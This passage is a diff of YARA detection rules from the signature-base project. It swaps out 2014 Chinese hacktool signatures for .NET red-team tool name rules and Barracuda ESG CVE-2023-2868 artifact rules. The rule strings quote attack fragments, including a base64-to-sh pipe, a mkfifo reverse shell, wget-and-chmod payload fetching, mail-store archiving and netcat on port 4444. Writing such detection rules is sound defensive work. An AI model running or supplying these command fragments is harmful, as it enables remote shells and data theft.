+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Panda_445
+rule SIGNATURE_BASE_HKTL_NET_NAME_Dotnetavbypass : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file 445.rar"
-		author = "Florian Roth (Nextron Systems)"
-		id = "02075631-49cc-5b97-ad8e-92d734a26d34"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "918eba2b-150d-5e69-bed0-0979ae889165"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1149-L1169"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a61316578bcbde66f39d88e7fc113c134b5b966b"
-		logic_hash = "d3f5b2c601dfa1702bbd1f8bdc1f847dd34ba84a6c527a3e02cdb76075e4ad2c"
-		score = 60
+		reference = "https://github.com/mandreko/DotNetAVBypass"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L657-L670"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "574a5f1bc1873321042e932ddfd53853e8e06dff3b25f2ad41e6b8aaf150a8b2"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "for /f %%i in (ips.txt) do (start cmd.bat %%i)" fullword ascii
-		$s1 = "445\\nc.exe" fullword ascii
-		$s2 = "445\\s.exe" fullword ascii
-		$s3 = "cs.exe %1" fullword ascii
-		$s4 = "445\\cs.exe" fullword ascii
-		$s5 = "445\\ip.txt" fullword ascii
-		$s6 = "445\\cmd.bat" fullword ascii
-		$s9 = "@echo off" fullword ascii
+		$name = "DotNetAVBypass" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Wineggdrop
+rule SIGNATURE_BASE_HKTL_NET_NAME_Hexyrunner : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file s.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9b6244ee-5ace-5caa-bfa2-732bcfcfc998"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "67741b4d-7336-5c88-8f2c-e48c10b187b9"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1171-L1194"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7665011742ce01f57e8dc0a85d35ec556035145d"
-		logic_hash = "6123a07038e30e11e37a70b912a1c854c13341e67eaf4ed14ca9954288a42d62"
-		score = 60
+		reference = "https://github.com/bao7uo/HexyRunner"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L672-L685"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c55be1fe285358378a98fd1027650dd20dd8cd0aad4dc062df7a0d4538c78c3b"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Normal Scan: About To Scan %u IP For %u Ports Using %d Thread" fullword ascii
-		$s2 = "SYN Scan: About To Scan %u IP For %u Ports Using %d Thread" fullword ascii
-		$s6 = "Example: %s TCP 12.12.12.12 12.12.12.254 21 512 /Banner" fullword ascii
-		$s8 = "Something Wrong About The Ports" fullword ascii
-		$s9 = "Performing Time: %d/%d/%d %d:%d:%d --> " fullword ascii
-		$s10 = "Example: %s TCP 12.12.12.12/24 80 512 /T8 /Save" fullword ascii
-		$s12 = "%u Ports Scanned.Taking %d Threads " fullword ascii
-		$s13 = "%-16s %-5d -> \"%s\"" fullword ascii
-		$s14 = "SYN Scan Can Only Perform On WIN 2K Or Above" fullword ascii
-		$s17 = "SYN Scan: About To Scan %s:%d Using %d Thread" fullword ascii
-		$s18 = "Scan %s Complete In %d Hours %d Minutes %d Seconds. Found %u Open Ports" fullword ascii
+		$name = "HexyRunner" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		5 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Scan_BAT
+rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpoffensiveshell : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file scan.bat"
-		author = "Florian Roth (Nextron Systems)"
-		id = "836e0618-93c7-5519-bbc4-705ff5c2e127"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "f223fb95-9f16-5504-a6ce-de9d75b38eaa"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1196-L1214"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6517d7c245f1300e42f7354b0fe5d9666e5ce52a"
-		logic_hash = "eed941d2ad5d33d7224504b08d2104d4043fab7a2ff027fc54cd1afd42e32549"
-		score = 60
+		reference = "https://github.com/darkr4y/SharpOffensiveShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L687-L700"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "36bcae7817eed375e48822a49e6875295ea1037217231a7f9ae88a9b8af95530"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "for /f %%a in (host.txt) do (" ascii
-		$s1 = "for /f \"eol=S tokens=1 delims= \" %%i in (s2.txt) do echo %%i>>host.txt" fullword ascii
-		$s2 = "del host.txt /q" fullword ascii
-		$s3 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
-		$s4 = "start Http.exe %%a %http%" fullword ascii
-		$s5 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" fullword ascii
+		$name = "SharpOffensiveShell" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		5 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Panda_Burst
+rule SIGNATURE_BASE_HKTL_NET_NAME_Reconness : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file Burst.rar"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e07c66d1-958e-5ad2-9d5b-380d48af8360"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "a30188e4-d96a-59d0-9f51-d7a7e07b14ba"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1216-L1229"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ce8e3d95f89fb887d284015ff2953dbdb1f16776"
-		logic_hash = "c334019cab377f4d96f5daee6a2f1fa7e24ecc43b3aee1eb76537640fdfd8a97"
-		score = 60
+		reference = "https://github.com/reconness/reconness"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L702-L715"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9cb7a3522bada1c724999058ec4ddfde09b22166f8fb3ba184dfe6bec276cfc5"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "@sql.exe -f ip.txt -m syn -t 3306 -c 5000 -u http://60.15.124.106:63389/tasksvr." ascii
+		$name = "reconness" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_445_Cmd : FILE
+rule SIGNATURE_BASE_HKTL_NET_NAME_Tvasion : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file cmd.bat"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b9693f51-26ac-5bf1-8c4d-ca852a154636"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "324cddc6-36d9-5670-827e-24e80dcc66a9"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1231-L1246"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "69b105a3aec3234819868c1a913772c40c6b727a"
-		logic_hash = "e0ab572fe9009ddc39f34302d8a16531c23f51ce4ea373d57a039f22ccc934c7"
-		score = 60
+		reference = "https://github.com/loadenmb/tvasion"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L717-L730"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b6262f751cbb85e702d89e7c5b4efdc8eaf3085101cd7685218ab1e8a2599385"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$bat = "@echo off" fullword ascii
-		$s0 = "cs.exe %1" fullword ascii
-		$s2 = "nc %1 4444" fullword ascii
+		$name = "tvasion" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		uint32(0)==0x68636540 and $bat at 0 and all of ($s*)
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_GOGOGO_Bat
+rule SIGNATURE_BASE_HKTL_NET_NAME_Ibombshell : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file GOGOGO.bat"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b52cc150-81d4-5895-8f83-ee2006f75617"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "02f3272f-8e75-5df4-9052-a315ae202050"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1248-L1273"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4bd4f5b070acf7fe70460d7eefb3623366074bbd"
-		logic_hash = "0209ffba87ff07379c768c1c00496a37f0f9bc6b786a31afdafe55d65a9f39ab"
-		score = 60
+		reference = "https://github.com/Telefonica/ibombshell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L732-L745"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "30de65328e2e2230eca3a30490e20c2c6d8ac9bdc835ee15d44300a00b801921"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "for /f \"delims=\" %%x in (endend.txt) do call :lisoob %%x" fullword ascii
-		$s1 = "http://www.tzddos.com/ -------------------------------------------->byebye.txt" fullword ascii
-		$s2 = "ren %systemroot%\\system32\\drivers\\tcpip.sys tcpip.sys.bak" fullword ascii
-		$s4 = "IF /I \"%wangle%\"==\"\" ( goto start ) else ( goto erromm )" fullword ascii
-		$s5 = "copy *.tzddos scan.bat&del *.tzddos" fullword ascii
-		$s6 = "del /f tcpip.sys" fullword ascii
-		$s9 = "if /i \"%CB%\"==\"www.tzddos.com\" ( goto mmbat ) else ( goto wangle )" fullword ascii
-		$s10 = "call scan.bat" fullword ascii
-		$s12 = "IF /I \"%erromm%\"==\"\" ( goto start ) else ( goto zuihoujh )" fullword ascii
-		$s13 = "IF /I \"%zuihoujh%\"==\"\" ( goto start ) else ( goto laji )" fullword ascii
-		$s18 = "sc config LmHosts start= auto" fullword ascii
-		$s19 = "copy tcpip.sys %systemroot%\\system32\\drivers\\tcpip.sys > nul" fullword ascii
-		$s20 = "ren %systemroot%\\system32\\dllcache\\tcpip.sys tcpip.sys.bak" fullword ascii
+		$name = "ibombshell" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Burst_Pass
+rule SIGNATURE_BASE_HKTL_NET_NAME_Remoteprocessinjection : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file pass.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d8f6784f-80c8-51e2-9d86-40022cd8705d"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "f1698cf2-211a-551a-8bc4-4faefcc6106f"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1275-L1298"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "55a05cf93dbd274355d798534be471dff26803f9"
-		logic_hash = "3a30cc602a66bd87304756311d56e7c698c1edb0b4b209198c589c4792776992"
-		score = 60
-		quality = 60
-		tags = ""
+		reference = "https://github.com/Mr-Un1k0d3r/RemoteProcessInjection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L747-L760"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "87d803c361462877f5ebba2a70f611c95b8684fe9f9f747ccf9643fc4e97d9df"
+		score = 75
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "123456.com" fullword ascii
-		$s1 = "123123.com" fullword ascii
-		$s2 = "360.com" fullword ascii
-		$s3 = "123.com" fullword ascii
-		$s4 = "juso.com" fullword ascii
-		$s5 = "sina.com" fullword ascii
-		$s7 = "changeme" fullword ascii
-		$s8 = "master" fullword ascii
-		$s9 = "google.com" fullword ascii
-		$s10 = "chinanet" fullword ascii
-		$s12 = "lionking" fullword ascii
+		$name = "RemoteProcessInjection" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Johor_Posts_Killer
+rule SIGNATURE_BASE_HKTL_NET_NAME_CACTUSTORCH : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file JoHor_Posts_Killer.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "68bba78e-f3a0-5eaa-9c63-e5f23a76b328"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "7b1e3015-fada-592c-b120-20aa12247d32"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1300-L1321"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d157f9a76f9d72dba020887d7b861a05f2e56b6a"
-		logic_hash = "2fc63cd42619a2b92ab8670b14ab4c01eb3b194cd337d329ba224b7088d26318"
-		score = 60
+		reference = "https://github.com/mdsecactivebreach/CACTUSTORCH"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L762-L775"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "51a125a44b5d1e73509bcd29865b26f44a5ee53f6907ee9abffa3eef1bbbdea8"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Multithreading Posts_Send Killer" fullword ascii
-		$s3 = "GET [Access Point] HTTP/1.1" fullword ascii
-		$s6 = "The program's need files was not exist!" fullword ascii
-		$s7 = "JoHor_Posts_Killer" fullword wide
-		$s8 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
-		$s10 = "  ( /s ) :" fullword ascii
-		$s11 = "forms.vbp" fullword ascii
-		$s12 = "forms.vcp" fullword ascii
-		$s13 = "Software\\FlySky\\E\\Install" fullword ascii
+		$name = "CACTUSTORCH" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		5 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Panda_Tesksd
+rule SIGNATURE_BASE_HKTL_NET_NAME_Pandasniper : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file tesksd.jpg"
-		author = "Florian Roth (Nextron Systems)"
-		id = "399ff307-c2e8-57bb-b792-a2c599e8686e"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "006400fb-7e6d-563b-ba78-17937983c9ba"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1323-L1338"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "922147b3e1e6cf1f5dd5f64a4e34d28bdc9128cb"
-		logic_hash = "dc81acef0ad3e6307f68ee755e5b27f2dcf1e2822e560a72dc5ae572703f4459"
-		score = 60
+		reference = "https://github.com/QAX-A-Team/PandaSniper"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L777-L790"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c5a32f22a429777186d88f3fcfa79ad4d971e86ebd6117df74aae19728c6addd"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "name=\"Microsoft.Windows.Common-Controls\" " fullword ascii
-		$s1 = "ExeMiniDownload.exe" fullword wide
-		$s16 = "POST %Hs" fullword ascii
+		$name = "PandaSniper" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Http : FILE
+rule SIGNATURE_BASE_HKTL_NET_NAME_Xbapappwhitelistbypasspoc : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file Http.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bbff6ff6-8cef-5a83-afd3-34f306e8e715"
-		date = "2014-11-17"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "b05253ce-cba4-531d-8f39-d8fae71b114d"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1340-L1356"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "788bf0fdb2f15e0c628da7056b4e7b1a66340338"
-		logic_hash = "690b41bdf856e0d4d90b4a42524134302e9649018fdd495c359582aa6121a017"
-		score = 60
-		quality = 83
+		reference = "https://github.com/jpginc/xbapAppWhitelistBypassPOC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L792-L805"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c79b70d3a72084dff391ba297518c4fe748d35b794278c4edf2d1faa4bd216e"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "RPCRT4.DLL" fullword ascii
-		$s1 = "WNetAddConnection2A" fullword ascii
-		$s2 = "NdrPointerBufferSize" fullword ascii
-		$s3 = "_controlfp" fullword ascii
+		$name = "xbapAppWhitelistBypassPOC" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them and filesize <10KB
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Burst_Start
+rule SIGNATURE_BASE_HKTL_NET_NAME_Stagestrike : FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file Start.bat - DoS tool"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1291fbc5-fbb3-5425-bb9a-e45f4d7cf562"
-		date = "2014-11-17"
-		modified = "2023-01-27"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1358-L1380"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "75d194d53ccc37a68286d246f2a84af6b070e30c"
-		logic_hash = "b435957150da7b790809d2cf90a01c967127c183ddcbf333beda1a7c599b69a5"
-		score = 60
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "e3f9de04-87f6-5b07-b5b0-a26167937fcc"
+		date = "2021-01-22"
+		modified = "2023-12-05"
+		reference = "https://github.com/RedXRanger/StageStrike"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L807-L820"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "99abc2fee732f27ea94c8ce244dc1742ed01a7753adedd7e80226d1e1c8dee4a"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "for /f \"eol= tokens=1,2 delims= \" %%i in (ip.txt) do (" ascii
-		$s1 = "Blast.bat /r 600" fullword ascii
-		$s2 = "Blast.bat /l Blast.bat" fullword ascii
-		$s3 = "Blast.bat /c 600" fullword ascii
-		$s4 = "start Clear.bat" fullword ascii
-		$s5 = "del Result.txt" fullword ascii
-		$s6 = "s syn %%i %%j 3306 /save" fullword ascii
-		$s7 = "start Thecard.bat" fullword ascii
-		$s10 = "setlocal enabledelayedexpansion" fullword ascii
+		$name = "StageStrike" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		5 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Panda_Tasksvr
+rule SIGNATURE_BASE_APT_UNC4841_ESG_Barracuda_CVE_2023_2868_Forensic_Artifacts_Jun23_1 : SCRIPT CVE_2023_2868
 {
 	meta:
-		description = "Disclosed hacktool set - file tasksvr.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5c85b382-551a-5e9e-9af8-d106cbe26f74"
-		date = "2014-11-17"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1382-L1397"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a73fc74086c8bb583b1e3dcfd326e7a383007dc0"
-		logic_hash = "183708e525ec6676662b59a2a3c79f5113a80f2d5b3bd4713c74a536fe303b2d"
-		score = 60
+		description = "Detects forensic artifacts found in the exploitation of CVE-2023-2868 in Barracuda ESG devices by UNC4841"
+		author = "Florian Roth"
+		id = "50518fa1-33de-5fe5-b957-904d976fb29a"
+		date = "2023-06-15"
+		modified = "2023-06-16"
+		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_barracuda_esg_unc4841_jun23.yar#L2-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa7cac1e0f6cb6fa3ac271c1fff0039ff182b6859920b4eca25541457654acde"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "SCRIPT, CVE-2023-2868"
 
 	strings:
-		$s2 = "Consys21.dll" fullword ascii
-		$s4 = "360EntCall.exe" fullword wide
-		$s15 = "Beijing1" fullword ascii
+		$x01 = "=;ee=ba;G=s;_ech_o $abcdefg_${ee}se64" ascii
+		$x02 = ";echo $abcdefg | base64 -d | sh" ascii
+		$x03 = "setsid sh -c \"mkfifo /tmp/p" ascii
+		$x04 = "sh -i </tmp/p 2>&1" ascii
+		$x05 = "if string.match(hdr:body(), \"^[%w%+/=" ascii
+		$x06 = "setsid sh -c \"/sbin/BarracudaMailService eth0\""
+		$x07 = "echo \"set the bvp ok\""
+		$x08 = "find ${path} -type f ! -name $excludeFileNameKeyword | while read line ;"
+		$x09 = " /mail/mstore | xargs -i cp {} /usr/share/.uc/"
+		$x10 = "tar -T /mail/mstore/tmplist -czvf "
+		$sa1 = "sh -c wget --no-check-certificate http"
+		$sa2 = ".tar;chmod +x "
 
 	condition:
-		all of them
+		1 of ($x*) or all of ($sa*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hacktools_CN_Burst_Clear
+rule SIGNATURE_BASE_APT_MAL_UNC4841_SEASPY_Jun23_1 : CVE_2023_2868 FILE
 {
 	meta:
-		description = "Disclosed hacktool set - file Clear.bat"
-		author = "Florian Roth (Nextron Systems)"
-		id = "21f33a36-779e-5eac-819c-ef79f291b43c"
-		date = "2014-11-17"
